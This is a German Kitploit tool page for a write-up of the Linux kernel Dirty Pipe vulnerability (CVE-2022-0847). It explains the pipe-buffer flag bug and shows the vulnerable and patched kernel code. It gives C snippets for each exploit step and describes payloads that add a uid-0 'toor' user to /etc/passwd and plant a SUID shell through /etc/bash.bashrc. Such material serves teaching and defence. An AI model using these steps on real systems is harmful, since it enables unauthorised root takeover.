Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — Exploiting CVE-2022-0847 - written by : Antonius (w1sdom) | Kitploit
Tools/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)

Repository anzeigen
31vor 6 MonatenNoch nicht geprüft

Linux-Kernel Dirty Pipe Ausnutzung (Logikfehler)


von: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe (CVE-2022-0847) ist eine der bedeutendsten Sicherheitslücken im Linux-Kernel 5.8 – 5.15.24, entdeckt von Max Kellermann im Jahr 2022. Diese Schwachstelle erlaubt es normalen Benutzern (ohne besondere Berechtigungen), Daten in Dateien zu überschreiben, die schreibgeschützt sein sollten. Verständnis der Kernkonzepte

Bevor wir Dirty Pipe im Detail besprechen, müssen einige interne Konzepte des Linux-Kernels verstanden werden:

1. Paging
Paging ist ein Speicherverwaltungsmechanismus im Linux-Kernel, bei dem das Speichersystem den physischen Speicher in kleine Blöcke fester Größe, sogenannte Seitenrahmen (Page Frames), und den virtuellen Speicher in Blöcke gleicher Größe, sogenannte Seiten (Pages), unterteilt. Dieser Mechanismus erlaubt dem Kernel, den virtuellen Adressraum von Prozessen auf nicht-sequenzielle Weise auf den physischen Speicher abzubilden, was für Effizienz und Sicherheit in modernen Systemen entscheidend ist.

2. Seite (Virtueller Speicher)
In Linux ist eine Seite die kleinste Einheit der physischen Speicherverwaltung, die vom Kernel gehandhabt wird. Analogie: RAM ist wie ein riesiges Buch. Eine Seite ist ein Blatt Papier in diesem Buch. Der Kernel bewegt Daten nicht Bit für Bit, sondern Blatt für Blatt (Seite für Seite). Im Allgemeinen beträgt die Standardgröße einer Seite auf modernen Systemarchitekturen (wie x86_64) 4 KB (4096 Bytes).

3. Page Cache
Dies ist ein entscheidender Teil. Linux liest Dateien nicht jedes Mal direkt von der Festplatte, da dies langsam ist. Der Kernel kopiert Dateiinhalte in den RAM, der als Page Cache bezeichnet wird.

  • Wenn wir eine Datei lesen, lädt der Kernel sie in den Page Cache.
  • Wenn ein anderer Prozess dieselbe Datei lesen möchte, gibt der Kernel nur einen Verweis auf die Seite, die bereits in diesem Speicher vorhanden ist.
Der Page Cache befindet sich im Kernelspace.

4. Pipe Buffer
Pipe ist ein Mechanismus zur Interprozesskommunikation (IPC). Intern verwaltet der Kernel Pipes mithilfe der pipe_inode_info-Datenstruktur. Daten innerhalb einer Pipe werden in einem "Puffer" namens Pipe Buffer gespeichert.

  • Ringbuffer: Der Kernel verwendet eine zirkuläre (Ring-)Struktur zur Verwaltung dieses Puffers. Ein Ringbuffer ist eine Datenstruktur, die ein einzelnes Array fester Größe verwendet, als ob sein Ende wieder mit seinem Anfang verbunden wäre. Dadurch entsteht ein Datenfluss, der sich endlos "dreht".
  • Flags: Jeder Puffer hat Attribute oder "Flags", die sein Verhalten bestimmen (z. B. ob der Puffer zusammengeführt werden kann).
Der Pipe Buffer befindet sich im Kernelspace.

5. Pipe Buffer Flag (PIPE_BUF_FLAG_CAN_MERGE)
Das Flag PIPE_BUF_FLAG_CAN_MERGE wurde mit Linux-Kernel Version 5.8 eingeführt. Hier liegt die Hauptschwachstelle. Das Flag heißt PIPE_BUF_FLAG_CAN_MERGE.

  • Seine Funktion: Teilt dem Kernel mit, dass neue Daten, die in die Pipe geschrieben werden, mit einem vorhandenen Puffer zusammengeführt werden können.
  • Das Problem: Vor dem Dirty-Pipe-Fix hat der Kernel dieses Flag bei splice() nicht ordnungsgemäß gelöscht (zurückgesetzt).

6. Splice
splice() ist ein Syscall zum Verschieben von Daten zwischen zwei Dateideskriptoren, ohne die Daten zwischen Kernelspace und Userspace zu kopieren. Dies wird oft als Zero-Copy-Mechanismus bezeichnet. Der splice()-Syscall ist der "Hauptakteur" bei Dirty Pipe:

  • Anstatt Daten physisch zu kopieren, führt splice() eine Optimierung durch, indem es den Pipe Buffer direkt auf die Seite im Page Cache zeigen lässt.
  • Das bedeutet, die Pipe enthält keine Kopie der Dateidaten, sondern nur einen "Zeiger" auf den physischen Speicher der Datei.

7. Copy on Write (CoW)
Der Copy-on-Write (CoW)-Mechanismus ist eine Optimierungsstrategie der Speicherverwaltung, die vom Linux-Kernel verwendet wird, um das Kopieren von Daten so lange wie möglich hinauszuzögern. Die Beziehung zwischen Copy-on-Write (CoW) und dem Dirty-Pipe-Exploit (CVE-2022-0847) besteht darin, wie ein kleiner Fehler im Linux-Kernel den CoW-Mechanismus erfolgreich "austrickst", sodass Daten in Dateien geschrieben werden können, die schreibgeschützt sein sollten.

8. Dirty Page
Eine Dirty Page ist eine Speicherseite im RAM, die von einer Anwendung geändert wurde, deren Änderungen jedoch noch nicht zurück auf den Sekundärspeicher (wie SSD oder Festplatte) geschrieben wurden.

Analyse der Dirty Pipe Sicherheitslücke

Dirty Pipe ist eine Art Logikfehler in der Pipe-Puffer-Verarbeitung im Linux-Kernel 5.8 bis Linux-Kernel 5.15.24. Das Hauptproblem liegt im Pipe-Mechanismus (Interprozesskommunikationskanal) und darin, wie der Kernel den Page Cache (Speicher, der Kopien von Dateidaten von der Festplatte speichert) verwaltet. Der Kernfehler ist ein Fehler im Flag PIPE_BUF_FLAG_CAN_MERGE.

Das Hauptproblem liegt darin, dass der Kernel dieses Flag nicht ordnungsgemäß neu initialisiert (Logikfehler). Hier ist die Codeanalyse: In den Funktionen copy_page_to_iter_pipe und push_to_pipe im Linux-Kernel vor Version 5.16.11 bereitet der Kernel bei splice-Operationen die pipe_buffer-Struktur vor, vergisst jedoch, das .flags-Mitglied zu bereinigen.

Anfällige Codestruktur:

root@kitploit:~
// Ort des Problems: fs/pipe.c oder include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- DIESES FLAG WIRD NICHT ZURÜCKGESETZT
    unsigned long private;
};

Code vor dem Patch (anfällig):

root@kitploit:~
// lib/iov_iter.c - Vor CVE-2022-0847 Patch
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags WIRD ÜBERHAUPT NICHT BERÜHRT
// --------snip----------------------

}

Code nach dem Patch (behoben):

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- TOTALER RÜCKSETZEN AUF NULL

Warum ist buf->flags = 0 besser, als nur ein bestimmtes Flag auszuschalten? Weil pipe_buffer eine wiederverwendete Struktur ist. Wenn wir nur ein Flag (CAN_MERGE) ausschalten, könnten andere Müll-Flags aus vorheriger Pipe-Nutzung (wie PIPE_BUF_FLAG_GIFT oder andere benutzerdefinierte Flags) noch vorhanden sein und in Zukunft seltsames Verhalten oder neue Sicherheitslücken verursachen. Durch das Setzen auf 0 wird sichergestellt, dass sich der Puffer in einem vollständig "sauberen" Zustand befindet.

Warum kann dies ausgenutzt werden?
Hier ist der Ablauf der Dirty-Pipe-Ausnutzung:
1. Verschmutzungsphase: Der Angreifer fügt Daten über write() in die Pipe ein. Ein normaler write()-Vorgang setzt buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Entleerungsphase: Der Angreifer liest diese Daten. Der Puffer ist nun logisch "leer", aber seine Struktur existiert weiterhin im Kernel-Speicher, wobei das CAN_MERGE-Flag noch aktiv ist.
3. Splice-Phase: Wenn der splice()-Syscall eine schreibgeschützte Datei auf eine Pipe abbildet, wird die Funktion copy_page_to_iter_pipe() aufgerufen. Aufgrund des obigen Fehlers füllt sie buf->page mit der Speicherseite der Originaldatei, setzt aber buf->flags nicht zurück.
4. Ausführung: Der Kernel denkt, dieser Dateipuffer kann noch zusammengeführt werden. Der nächste write() an die Pipe erzeugt keinen neuen Puffer, sondern modifiziert tatsächlich direkt die Speicherseite (Page Cache), die zuvor abgebildet wurde.

Zu diesem Zeitpunkt befinden sich die Daten des Angreifers bereits im RAM. Eine Seite im RAM, deren Inhalt von dem auf der Festplatte abweicht, wird als "Dirty Page" bezeichnet. Wenn diese Phase erfolgreich erreicht wird, bedeutet das, dass die Ausnutzung erfolgreich war! Sobald sich der Page Cache ändert, ist der Effekt sofort. Wenn wir /etc/passwd im RAM überschreiben, können wir sofort su root ausführen.

Dirty Pipe Ausnutzung

Für die Dirty-Pipe-Ausnutzung müssen wir keine Kernel-Schutzmechanismen deaktivieren, da alle Kernel-Schutzmechanismen irrelevant sind, um diesen Logikfehler zu verhindern. Um den Dirty-Page-Logikfehler auszunutzen, führt unser Exploit die folgenden Schritte aus:

Schritt 1. Bereiten Sie die Pipe vor und füllen Sie sie bis zum Maximum, mit dem Ziel, das Flag PIPE_BUF_FLAG_CAN_MERGE auszulösen.

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

Schritt 2. Entleeren Sie die Pipe.

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
Schritt 3. Verwenden Sie splice(), um Daten aus der Zieldatei in die Pipe einzufügen.
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
Schritt 4. Schreiben Sie die Nutzlastdaten in die Pipe.
root@kitploit:~
write(p[1], payload, strlen(payload));

Vollständiger Exploit-Code für Dirty Pipe Ausnutzung Der vollständige Exploit-Code ist verfügbar unter https://github.com/bluedragonsecurity/dirtypipe2

Hinweis: Der vollständige Exploit-Code enthält Funktionen zur Überprüfung der Kernel-Version, zur Pipe-Vorbereitung, zur Nutzlast-Injektion und zwei verschiedene Ausnutzungsmethoden, die auf /etc/passwd und /etc/bash.bashrc abzielen.

Ausnutzungsmethoden

Der obige Exploit verwendet 2 verschiedene Nutzlasten mit dem Ziel, dass bei Fehlschlagen der ersten Nutzlast die zweite nachfolgt.
Nutzlast 1: Schreibt in /etc/passwd, um einen neuen Benutzer namens 'toor' mit uid 0 hinzuzufügen. Wenn diese Nutzlast erfolgreich ist, können wir sofort eine Root-Shell erhalten.
Nutzlast 2: Ziel ist es, eine SUID-Bash-Shell unter /tmp/x abzulegen. Speziell für die zweite Nutzlast muss gewartet werden, bis sich der Root-Benutzer auf dem System anmeldet, da die Nutzlast zum Ablegen der SUID-Shell in /etc/bash.bashrc injiziert wird. In Linux werden die in /etc/bash.bashrc enthaltenen Befehle von jedem Benutzer ausgeführt, der sich bei der Anmeldung am System anmeldet.

Testen des Exploits

In diesem Beispiel habe ich Linux-Kernel 5.13 verwendet, der auf Lubuntu 20.04.5 in VirtualBox als Gastbetriebssystem läuft, und das Host-Betriebssystem ist Kali Linux 2025.4. Kompilieren Sie den Exploit auf der Lubuntu 20.04.5-Maschine:

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

Führen Sie den Exploit aus:
root@kitploit:~
  ./dirtypipe2

und schließlich haben wir eine Root-Shell erhalten:

Referenzen

  • Originalveröffentlichung: https://dirtypipe.cm4all.com/
  • CVE-2022-0847: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• Linux-Kernel Patch: commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • Exploit-Code: https://github.com/bluedragonsecurity
Tool herunterladen